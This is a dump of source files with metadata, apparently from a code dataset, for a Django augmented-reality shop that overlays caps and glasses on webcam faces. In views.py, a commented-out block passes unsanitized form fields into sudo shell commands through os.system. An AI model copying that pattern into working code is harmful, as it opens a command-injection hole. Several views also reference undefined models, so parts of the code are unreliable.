verbose_name='Descrição')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'verbose_name': 'Lote',\n 'verbose_name_plural': 'Lotes',\n 'ordering': [django.db.models.functions.text.Lower('descricao')],\n },\n ),\n migrations.CreateModel(\n name='PadraoRacial',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ],\n ),\n migrations.CreateModel(\n name='MovimentacaoAnimalLote',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('update_at', models.DateTimeField(auto_now=True, null=True)),\n ('data_movimentacao', models.DateField()),\n ('animal', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to='rebanho.Animal')),\n ('empresa', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='portal.Empresa')),\n ('lote_destino', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='lote_destino', to='rebanho.Lote')),\n ('lote_origem', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='lote_origem', to='rebanho.Lote')),\n ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'abstract': False,\n },\n ),\n migrations.AddField(\n model_name='animal',\n name='lote',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to='rebanho.Lote'),\n ),\n migrations.AddField(\n model_name='animal',\n name='user',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL),\n ),\n ]\n"
},
{
"alpha_fraction": 0.4647742807865143,
"alphanum_fraction": 0.4757182002067566,
"avg_line_length": 23.991453170776367,
"blob_id": "6b5a7321fff2be2842e813f166abf916ca795f8c",
"content_id": "7e5f2e5b7ceb296f52dad422078b2a7f180882f8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2924,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 117,
"path": "/portal/migrations/0004_auto_20200611_1052.py",
"repo_name": "kaiserthiago/km",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.2.10 on 2020-06-11 14:52\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('portal', '0003_auto_20200610_0957'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='categoria',\n name='empresa',\n ),\n migrations.RemoveField(\n model_name='categoria',\n name='user',\n ),\n migrations.RemoveField(\n model_name='conta',\n name='empresa',\n ),\n migrations.RemoveField(\n model_name='conta',\n name='user',\n ),\n migrations.RemoveField(\n model_name='despesa',\n name='conta',\n ),\n migrations.RemoveField(\n model_name='despesa',\n name='empresa',\n ),\n migrations.RemoveField(\n model_name='despesa',\n name='fornecedor',\n ),\n migrations.RemoveField(\n model_name='despesa',\n name='frota',\n ),\n migrations.RemoveField(\n model_name='despesa',\n name='subcategoria',\n ),\n migrations.RemoveField(\n model_name='despesa',\n name='user',\n ),\n migrations.DeleteModel(\n name='FormaPagamento',\n ),\n migrations.RemoveField(\n model_name='fornecedor',\n name='empresa',\n ),\n migrations.RemoveField(\n model_name='fornecedor',\n name='user',\n ),\n migrations.RemoveField(\n model_name='receita',\n name='conta',\n ),\n migrations.RemoveField(\n model_name='receita',\n name='empresa',\n ),\n migrations.RemoveField(\n model_name='receita',\n name='fornecedor',\n ),\n migrations.RemoveField(\n model_name='receita',\n name='subcategoria',\n ),\n migrations.RemoveField(\n model_name='receita',\n name='user',\n ),\n migrations.DeleteModel(\n name='Situacao',\n ),\n migrations.RemoveField(\n model_name='subcategoria',\n name='categoria',\n ),\n migrations.RemoveField(\n model_name='subcategoria',\n name='empresa',\n ),\n migrations.RemoveField(\n model_name='subcategoria',\n name='user',\n ),\n migrations.DeleteModel(\n name='Categoria',\n ),\n migrations.DeleteModel(\n name='Conta',\n ),\n migrations.DeleteModel(\n name='Despesa',\n ),\n migrations.DeleteModel(\n name='Fornecedor',\n ),\n migrations.DeleteModel(\n name='Receita',\n ),\n migrations.DeleteModel(\n name='SubCategoria',\n ),\n ]\n"
}
] | 40 |
CossetteAlexis/Augmented-Reality-Shopping | https://github.com/CossetteAlexis/Augmented-Reality-Shopping | 24214060ff930a19fef08aac26260abde649f45a | 66ec023d7767c95e252c9cae4dad4f2ed7ad03ec | f84f3c7e3b648fb949428efdb4333a7388c2184c | refs/heads/master | 2021-05-25T12:19:24.459404 | 2020-04-07T09:35:42 | 2020-04-07T09:35:42 | 253,751,973 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6847844123840332,
"alphanum_fraction": 0.7070873975753784,
"avg_line_length": 39.89189147949219,
"blob_id": "8846ea076997c026bf4d02d9ede46b894a8da4f5",
"content_id": "4a68b9b217f1e4649250e76e363f19fe63f5ddb6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6053,
"license_type": "no_license",
"max_line_length": 77,
"num_lines": 148,
"path": "/shoppingcart/product/models.py",
"repo_name": "CossetteAlexis/Augmented-Reality-Shopping",
"src_encoding": "UTF-8",
"text": "from django.db import models\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\n\n\nclass Product(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.product_name\n\nclass Male_Eyeglasse(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.product_name\n\nclass Male_Necklace(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.product_name\n\nclass Male_Cap(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.product_name\n\nclass Male_Earring(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.product_name\n\nclass Female_Eyeglasse(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.image.url\n\nclass Female_Necklace(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.product_name\n\nclass Female_Cap(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.image.url\n\nclass Female_Earring(models.Model):\n product_name = models.CharField(max_length=100)\n brand = models.CharField(max_length=100)\n description = models.CharField(max_length=100, default='item')\n quantity = models.IntegerField()\n price = models.FloatField(max_length=100)\n stock = models.IntegerField()\n script = models.CharField(max_length=100, default='asd')\n image = models.ImageField(default='default.jpg', upload_to='product_pic')\n date_added = models.DateField(default=timezone.now)\n buyer = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = models.Manager()\n\n def __str__(self):\n return self.product_name\n\n"
},
{
"alpha_fraction": 0.5450415015220642,
"alphanum_fraction": 0.5620372295379639,
"avg_line_length": 33.35260009765625,
"blob_id": "f03f1865157bbe5bc016a22f45cfc12a4de5899c",
"content_id": "be20c1ca68015c37ad88cdb7d0caf483cb4ea76e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 17828,
"license_type": "no_license",
"max_line_length": 118,
"num_lines": 519,
"path": "/shoppingcart/product/views.py",
"repo_name": "CossetteAlexis/Augmented-Reality-Shopping",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render\nfrom .models import Product\nfrom .models import Male_Cap\nfrom .models import Male_Earring\nfrom .models import Male_Eyeglasse\nfrom .models import Male_Necklace\nfrom .models import Female_Cap\nfrom .models import Female_Earring\nfrom .models import Female_Eyeglasse\nfrom .models import Female_Necklace\nfrom django.core.paginator import Paginator\nfrom django.http import HttpResponse\nfrom .forms import UserForm\nimport cv2\nimport numpy as np\nimport dlib\nfrom math import hypot \nfrom django.views.decorators import gzip\nfrom django.http import StreamingHttpResponse\nfrom django.views import generic\nfrom django.views.generic.edit import CreateView, DeleteView\nfrom django.views.generic import(TemplateView, ListView, DetailView, CreateView, UpdateView, DeleteView)\nfrom django.shortcuts import redirect\nimport os\nimport sqlite3\n\"\"\"products = [\n {\n 'product_name':'Eyeglasses1',\n 'brand':'Rayban',\n 'price':'300',\n 'date_added':'June 26, 2019'\n },\n {\n 'product_name':'Eyeglasses2',\n 'brand':'Tom Ford',\n 'price':'500',\n 'date_added':'June 27, 2019'\n }\n]\"\"\"\n\n\n\n #from blog.models import Post\n #from django.contrib.auth.models import User\n #product = Product(product_name='adf',brand='asd',price=11,stock=123,script='asd',image_directory='ad',buyer=user)\n # return render(request, 'product/home.html')\n # context = {\n # 'products': Product.objects.all()\n # }\n\ndef male_products(request):\n return render(request, 'product/male_products.html')\n\ndef male_eyeglasses(request):\n context = {\n 'products' : Male_Eyeglasse.objects.all()\n }\n return render(request, 'product/male_eyeglasses.html', context)\n\ndef male_necklace(request):\n context = {\n 'products' : Male_Necklace.objects.all()\n }\n return render(request, 'product/male_necklace.html', context)\n\ndef male_caps(request):\n context = {\n 'products' : Male_Caps.objects.all()\n }\n return render(request, 'product/male_caps.html', context)\n\ndef male_earrings(request):\n context = {\n 'products' : Male_Earrings.objects.all()\n }\n return render(request, 'product/male_earrings.html', context)\n \n\ndef female_products(request):\n product = Product.objects.all()\n return render(request, 'product/female_products.html')\n\ndef female_eyeglasses(request):\n context = {\n 'products' : Female_Eyeglasse.objects.all()\n }\n return render(request, 'product/female_eyeglasses.html', context)\n\ndef female_necklace(request):\n context = {\n 'products' : Female_Necklace.objects.all()\n }\n return render(request, 'product/female_necklace.html', context)\n\ndef female_caps(request):\n context = {\n 'products' : Female_Cap.objects.all()\n }\n return render(request, 'product/female_caps.html', context)\n\ndef female_earring(request):\n context = {\n 'products' : Female_Earring.objects.all()\n }\n return render(request, 'product/female_earring.html', context)\n\n\ndef about(request):\n return render(request, 'product/about.html')\n\ndef home(request):\n return render(request, 'product/home.html')\n\ndef customer(request):\n return render(request, 'product/customer.html')\n\n# class ProductListView(ListView):\n# model = Product\n# template_name = 'product/female_caps.html' # <app>/<model>_<viewtype>.html\n# context_object_name = 'product'\n# ordering = ['-date_added']\n\nclass VideoCamera(object):\n def face_detect(request, pk):\n import cv2\n import numpy as np\n import dlib\n from math import hypot\n # from .models import Female_Cap\n\n # Loading Camera and Nose image and Creating mask\n # 'products' : Female_Earring.objects.all()\n cap = cv2.VideoCapture(0)\n id_pk = int(pk)\n # nose_image = cv2.imread(\"C:/Users/Cossette/Desktop/New folder/pig_nose.png\")\n image = str(Female_Cap.objects.get(id=pk))\n \n print(image)\n # nose_image = cv2.imread(\"media/product_pic/facemarks_points.png\")\n nose_image = cv2.imread(image[1:])\n _, frame = cap.read()\n rows, cols, _ = frame.shape\n nose_mask = np.zeros((rows, cols), np.uint8)\n\n # Loading Face detector\n detector = dlib.get_frontal_face_detector()\n predictor = dlib.shape_predictor(\"C:/Users/Cossette/Desktop/New folder/shape_predictor_68_face_landmarks.dat\")\n\n while True:\n _, frame = cap.read()\n nose_mask.fill(0)\n gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = detector(frame)\n for face in faces:\n landmarks = predictor(gray_frame, face)\n\n # Nose coordinates\n # top_nose = (landmarks.part(29).x, landmarks.part(29).y)\n # center_nose = (landmarks.part(30).x, landmarks.part(30).y)\n # left_nose = (landmarks.part(31).x, landmarks.part(31).y)\n # right_nose = (landmarks.part(35).x, landmarks.part(35).y)\n\n top_nose = (landmarks.part(27).x, landmarks.part(27).y)\n center_nose = (landmarks.part(28).x, landmarks.part(28).y)\n left_nose = (landmarks.part(19).x, landmarks.part(19).y)\n right_nose = (landmarks.part(25).x, landmarks.part(25).y)\n\n # nose_width = int(hypot(left_nose[0] - right_nose[0],\n # left_nose[1] - right_nose[1]) * 1.7)\n # nose_height = int(nose_width * 0.77)\n\n nose_width = int(hypot(left_nose[0] - right_nose[0],\n left_nose[1] - right_nose[1]) * 1.7)\n nose_height = int(nose_width * 0.75)\n\n # New nose position\n top_left = (int(center_nose[0] - nose_width / 2),\n int(center_nose[1] - nose_height / 2))\n bottom_right = (int(center_nose[0] + nose_width / 2),\n int(center_nose[1] + nose_height / 2))\n\n\n # Adding the new nose\n nose_pig = cv2.resize(nose_image, (nose_width, nose_height))\n nose_pig_gray = cv2.cvtColor(nose_pig, cv2.COLOR_BGR2GRAY)\n _, nose_mask = cv2.threshold(nose_pig_gray, 25, 255, cv2.THRESH_BINARY_INV)\n\n nose_area = frame[top_left[1]: top_left[1] + nose_height,\n top_left[0]: top_left[0] + nose_width]\n nose_area_no_nose = cv2.bitwise_and(nose_area, nose_area, mask=nose_mask)\n final_nose = cv2.add(nose_area_no_nose, nose_pig)\n\n frame[top_left[1]: top_left[1] + nose_height,\n top_left[0]: top_left[0] + nose_width] = final_nose\n\n # cv2.imshow(\"Nose area\", nose_area)\n # cv2.imshow(\"Nose pig\", nose_pig)\n # cv2.imshow(\"final nose\", final_nose)\n\n\n\n cv2.imshow(\"Frame\", frame)\n\n\n\n key = cv2.waitKey(1)\n if key == 27:\n cap.release()\n break\n return redirect('/gender_select')\n\n def face_detect3(request, pk):\n import cv2\n\n id_pk = int(pk)\n image = str(Female_Cap.objects.get(id=pk))\n\n face = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')\n # hat=cv2.imread('C:/Users/Cossette/Desktop/Insta_flters_with_python-master/Filters/hat.png')\n hat=cv2.imread(image[1:])\n # glass=cv2.imread('C:/Users/Cossette/Desktop/Insta_flters_with_python-master/Filters/glasses.png')\n # dog=cv2.imread('C:/Users/Cossette/Desktop/Insta_flters_with_python-master/Filters/dog.png')\n\n # def put_dog_filter(dog, fc, x, y, w, h):\n # face_width = w\n # face_height = h\n\n # dog = cv2.resize(dog, (int(face_width * 1.5), int(face_height * 1.95)))\n # for i in range(int(face_height * 1.75)):\n # for j in range(int(face_width * 1.5)):\n # for k in range(3):\n # if dog[i][j][k] < 235:\n # fc[y + i - int(0.375 * h) - 1][x + j - int(0.35 * w)][k] = dog[i][j][k]\n # return fc\n\n def put_hat(hat, fc, x, y, w, h):\n face_width = w\n face_height = h\n\n hat_width = face_width + 1\n hat_height = int(0.50 * face_height) + 1\n\n hat = cv2.resize(hat, (hat_width, hat_height))\n\n for i in range(hat_height):\n for j in range(hat_width):\n for k in range(3):\n if hat[i][j][k] < 235:\n fc[y + i - int(0.40 * face_height)][x + j][k] = hat[i][j][k]\n return fc\n\n\n # def put_glass(glass, fc, x, y, w, h):\n # face_width = w\n # face_height = h\n\n # hat_width = face_width + 1\n # hat_height = int(0.50 * face_height) + 1\n\n # glass = cv2.resize(glass, (hat_width, hat_height))\n\n # for i in range(hat_height):\n # for j in range(hat_width):\n # for k in range(3):\n # if glass[i][j][k] < 235:\n # fc[y + i - int(-0.20 * face_height)][x + j][k] = glass[i][j][k]\n # return fc\n global choise\n\n # choice = 0\n # print('enter your choice filter to launch that: 1=\"put hat & glasses\" ,any number=\"put fog filters\" ')\n # choise= int(input('enter your choice:'))\n webcam = cv2.VideoCapture(0)\n while True:\n size=4\n (rval, im) = webcam.read()\n im = cv2.flip(im, 1, 0)\n gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n fl = face.detectMultiScale(gray,1.19,7)\n\n for (x, y, w, h) in fl:\n # if choise ==1:\n im = put_hat(hat, im, x, y, w, h)\n # im = put_glass(glass, im, x, y, w, h)\n\n # else:\n # im = put_dog_filter(dog, im, x, y, w, h)\n\n cv2.imshow('Hat & glasses',im)\n key = cv2.waitKey(1) & 0xff\n if key == 27: # The Esc key\n webcam.release()\n break\n def face_detect4(request, pk):\n import cv2\n\n id_pk = int(pk)\n image = str(Female_Eyeglasse.objects.get(id=pk))\n \n face = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')\n # hat=cv2.imread('C:/Users/Cossette/Desktop/Insta_flters_with_python-master/Filters/hat.png')\n # hat=cv2.imread(image[1:])\n glass=cv2.imread(image[1:])\n # glass=cv2.imread('C:/Users/Cossette/Desktop/Insta_flters_with_python-master/Filters/glasses.png')\n # dog=cv2.imread('C:/Users/Cossette/Desktop/Insta_flters_with_python-master/Filters/dog.png')\n\n # def put_dog_filter(dog, fc, x, y, w, h):\n # face_width = w\n # face_height = h\n\n # dog = cv2.resize(dog, (int(face_width * 1.5), int(face_height * 1.95)))\n # for i in range(int(face_height * 1.75)):\n # for j in range(int(face_width * 1.5)):\n # for k in range(3):\n # if dog[i][j][k] < 235:\n # fc[y + i - int(0.375 * h) - 1][x + j - int(0.35 * w)][k] = dog[i][j][k]\n # return fc\n\n # def put_hat(hat, fc, x, y, w, h):\n # face_width = w\n # face_height = h\n\n # hat_width = face_width + 1\n # hat_height = int(0.50 * face_height) + 1\n\n # hat = cv2.resize(hat, (hat_width, hat_height))\n\n # for i in range(hat_height):\n # for j in range(hat_width):\n # for k in range(3):\n # if hat[i][j][k] < 235:\n # fc[y + i - int(0.40 * face_height)][x + j][k] = hat[i][j][k]\n # return fc\n\n\n def put_glass(glass, fc, x, y, w, h):\n face_width = w\n face_height = h\n\n hat_width = face_width + 1\n hat_height = int(0.50 * face_height) + 1\n\n glass = cv2.resize(glass, (hat_width, hat_height))\n\n for i in range(hat_height):\n for j in range(hat_width):\n for k in range(3):\n if glass[i][j][k] < 235:\n fc[y + i - int(-0.20 * face_height)][x + j][k] = glass[i][j][k]\n return fc\n global choise\n\n # choice = 0\n # print('enter your choice filter to launch that: 1=\"put hat & glasses\" ,any number=\"put fog filters\" ')\n # choise= int(input('enter your choice:'))\n webcam = cv2.VideoCapture(0)\n while True:\n size=4\n (rval, im) = webcam.read()\n im = cv2.flip(im, 1, 0)\n gray = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n fl = face.detectMultiScale(gray,1.19,7)\n\n for (x, y, w, h) in fl:\n # if choise ==1:\n # im = put_hat(hat, im, x, y, w, h)\n im = put_glass(glass, im, x, y, w, h)\n\n # else:\n # im = put_dog_filter(dog, im, x, y, w, h)\n\n cv2.imshow('Hat & glasses',im)\n key = cv2.waitKey(1) & 0xff\n if key == 27: # The Esc key\n webcam.release()\n break\n\[email protected]_page\ndef face_detect2(request):\n return StreamingHttpResponse(face_detect(VideoCamera()),content_type=\"multipart/x-mixed-replace;boundary=frame\")\n\ndef video(request):\n return render(request, 'product/video.html')\n\nclass Female_CapListView(ListView):\n model = Female_Cap \n template_name = 'product/female_caps.html'\n context_object_name = 'products'\n ordering = ['-date_added']\n\nclass Female_CapDetailView(DetailView):\n model = Female_Cap \n template_name = 'product/female_caps_detail.html'\n # product_id = Female_Cap.objects.filter(pk=1)\n context_object_name = 'product'\n\n # def print(request):\n # for item in product:\n # print(item)\n # return render(request, 'product/print.html')\n # ordering = ['-date_added']\n\nclass Female_EyeglassesListView(ListView):\n model = Female_Eyeglasse\n template_name = 'product/female_eyeglasses.html'\n context_object_name = 'products'\n ordering = ['-date_added']\n\nclass Female_EyeglassesDetailView(ListView):\n model = Female_Eyeglasse \n \nclass Female_EarringListView(ListView):\n model = Female_Earring\n template_name = 'product/female_earring.html'\n context_object_name = 'products'\n ordering = ['-date_added']\n\nclass Female_EarringDetailView(ListView):\n model = Female_Earring \n\nclass Female_NecklaceListView(ListView):\n model = Female_Necklace\n template_name = 'product/female_necklace.html'\n context_object_name = 'products'\n ordering = ['-date_added']\n\nclass Female_NecklaceDetailView(ListView):\n model = Female_Necklace \n\nclass Male_CapsListView(ListView):\n model = Male_Cap\n template_name = 'product/male_caps.html'\n context_object_name = 'products'\n ordering = ['-date_added']\n\nclass Male_CapsDetailView(ListView):\n model = Male_Cap \n\nclass Male_EarringListView(ListView):\n model = Male_Earring\n template_name = 'product/male_earring.html'\n context_object_name = 'products'\n ordering = ['-date_added']\n\nclass Male_EarringDetailView(ListView):\n model = Male_Earring \n\nclass Male_NecklaceListView(ListView):\n model = Male_Necklace\n template_name = 'product/male_necklace.html'\n context_object_name = 'products'\n ordering = ['-date_added']\n\nclass Male_NecklaceDetailView(ListView):\n model = Male_Necklace\n\nclass Male_EyeglassesListView(ListView):\n model = Male_Eyeglasse\n template_name = 'product/male_eyeglasses.html'\n context_object_name = 'products'\n ordering = ['-date_added']\n\nclass Male_EyeglassesgDetailView(ListView):\n model = Male_Eyeglasse\n\n\n\n\nclass PrintFemale_CapDetailView(DetailView):\n model = Female_Cap \n template_name = 'product/print.html'\n # product_id = Female_Cap.objects.filter(pk=1)\n context_object_name = 'product'\n \n def printss(request):\n print(request)\n product_name = request.POST.get(\"product_name\", \"\")\n price = request.POST.get(\"price\", \"\")\n brand = request.POST.get(\"brand\", \"\")\n description = request.POST.get(\"description\", \"\")\n quantity = request.POST.get(\"stock\", \"\")\n id = request.POST.get(\"id\", \"\")\n \n content = { product_name, price, brand, description }\n # print(id)\n # os.system(\"sudo chmod a+w /dev/usb/lp0\")\n # os.system(\"sudo echo -e '--- Product Details ---\\n'> /dev/usb/lp0\")\n # os.system(\"sudo echo -e 'Product Name : \"+product_name+\"\\n'> /dev/usb/lp0\")\n # os.system(\"sudo echo -e 'Brand : \"+brand+\"\\n'> /dev/usb/lp0\")\n # os.system(\"sudo echo -e 'Price : \"+price+\"\\n'> /dev/usb/lp0\")\n # os.system(\"sudo echo -e 'Description : \"+description+\"\\n'> /dev/usb/lp0\")\n # os.system(\"sudo echo -e '\\n\\n\\n'> /dev/usb/lp0\")\n # os.system(\"sudo echo -e 'Please proceed to cashier for payment\\n\\n'> /dev/usb/lp0\")\n # os.system(\"sudo echo -e 'Thank you for using IVS Kiosk!\\n\\n\\n\\n'> /dev/usb/lp0\")\n\n \n\n def updateFemaleCap(request, id):\n print(id)\n queryset = Female_Cap.objects.get(id=id)\n getCap = int(queryset.stock)\n print(getCap)\n updateCap = getCap - 1\n print(updateCap)\n Female_Cap.objects.select_related().filter(id=id).update(stock=updateCap)\n\n \n\n updateFemaleCap(request, id)\n\n return render(request, 'product/thankyou.html')\n\n\n\n\n # ;laskdjfl\n # asldfkj\n # asdlfkj"
},
{
"alpha_fraction": 0.7442091107368469,
"alphanum_fraction": 0.7468563914299011,
"avg_line_length": 59.459999084472656,
"blob_id": "a474d1c73e22b138f92ce4d5981f8667905c0f47",
"content_id": "20885e71a5902107101fbcdc8300b919b1fd467c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3022,
"license_type": "no_license",
"max_line_length": 119,
"num_lines": 50,
"path": "/shoppingcart/product/urls.py",
"repo_name": "CossetteAlexis/Augmented-Reality-Shopping",
"src_encoding": "UTF-8",
"text": "from django.urls import path\nfrom . import views \nfrom django.urls import re_path\nfrom .views import VideoCamera\nfrom .views import Female_CapListView\nfrom .views import Female_CapDetailView\nfrom .views import Female_EyeglassesListView\nfrom .views import Female_EyeglassesDetailView\nfrom .views import Female_EarringListView\nfrom .views import Female_EarringDetailView\nfrom .views import Female_NecklaceListView\nfrom .views import Female_NecklaceDetailView\nfrom .views import Male_EarringListView\nfrom .views import Male_Earring\nfrom .views import Male_CapsListView\nfrom .views import Male_CapsDetailView\nfrom .views import Male_NecklaceListView\nfrom .views import Male_NecklaceDetailView\nfrom .views import Male_EarringListView\nfrom .views import Male_EyeglassesgDetailView\nfrom .views import PrintFemale_CapDetailView\n\nurlpatterns = [\n path('video/', views.video, name='product-video'),\n path('home/', views.home, name='product-home'),\n path('about/', views.about, name='product-about'),\n path('customer/', views.customer, name='product-customer'),\n path('male_products/', views.male_products, name='product-male_products'),\n path('male_eyeglasses/', views.male_eyeglasses, name='product-male_eyeglasses'),\n path('male_necklace/', views.male_necklace, name='product-male_necklace'),\n path('male_caps/', views.male_caps, name='product-male_caps'),\n path('male_earrings/', views.male_earrings, name='product-male_earrings'),\n path('female_products/', views.female_products, name='product-female_products'),\n path('female_eyeglasses/', views.female_eyeglasses, name='product-female_eyeglasses'),\n path('female_necklace/', views.female_necklace, name='product-female_necklace'),\n path('female_earring/', views.female_earring, name='product-female_earrings'),\n path('face_detect/<int:pk>/', views.VideoCamera.face_detect, name='product-face_detect'),\n path('face_detect2/', views.VideoCamera.face_detect, name='product-face_detect2'),\n path('face_detect3/<int:pk>/', views.VideoCamera.face_detect3, name='product-face_detect3'),\n path('face_detect4/<int:pk>/', views.VideoCamera.face_detect4, name='product-face_detect4'),\n # path('female_caps/', views.female_caps, name='product-female_caps'),\n path('female_caps/', Female_CapListView.as_view(), name='product-female_caps'),\n path('female_caps/<int:pk>/', Female_CapDetailView.as_view(), name='product-female_caps_detail'),\n path('female_eyeglasses/', Female_EyeglassesListView.as_view(), name='product-female_eyeglasses'),\n path('female_eyeglasses/<int:pk>', Female_EyeglassesDetailView.as_view(), name='product-female_eyeglasses_detail'),\n path('product/<int:pk>/', Female_EyeglassesDetailView.as_view(), name='product-female_eyeglasses_detail'),\n path('prints/<int:pk>/', PrintFemale_CapDetailView.as_view(), name='product-prints'),\n path('printss/', PrintFemale_CapDetailView.printss, name='product-printss'),\n path('thankyou/', PrintFemale_CapDetailView.printss, name='product-thankyou'),\n]"
},
{
"alpha_fraction": 0.6747967600822449,
"alphanum_fraction": 0.6747967600822449,
"avg_line_length": 29.875,
"blob_id": "5f1c65840fa0706cee64abd4493ef676c2c26eaa",
"content_id": "c6adbc2389d7f3e4f0ae633b6e38371546214178",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 246,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 8,
"path": "/shoppingcart/users/urls.py",
"repo_name": "CossetteAlexis/Augmented-Reality-Shopping",
"src_encoding": "UTF-8",
"text": "from django.urls import path\nfrom . import views \n\nurlpatterns = [\n path('gender_select', views.gender_select, name='users-gender_select'),\n path('male/', views.male, name='users-male'),\n path('', views.welcome, name='users-welcome'),\n]"
},
{
"alpha_fraction": 0.5476190447807312,
"alphanum_fraction": 0.5666666626930237,
"avg_line_length": 16.58333396911621,
"blob_id": "42525fa3c94c4583b5e1928366e1eed881500142",
"content_id": "e2abef861340e45a69864b1c65c73f42bc21c6df",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 210,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 12,
"path": "/shoppingcart/product/templates/product/thankyou.html",
"repo_name": "CossetteAlexis/Augmented-Reality-Shopping",
"src_encoding": "UTF-8",
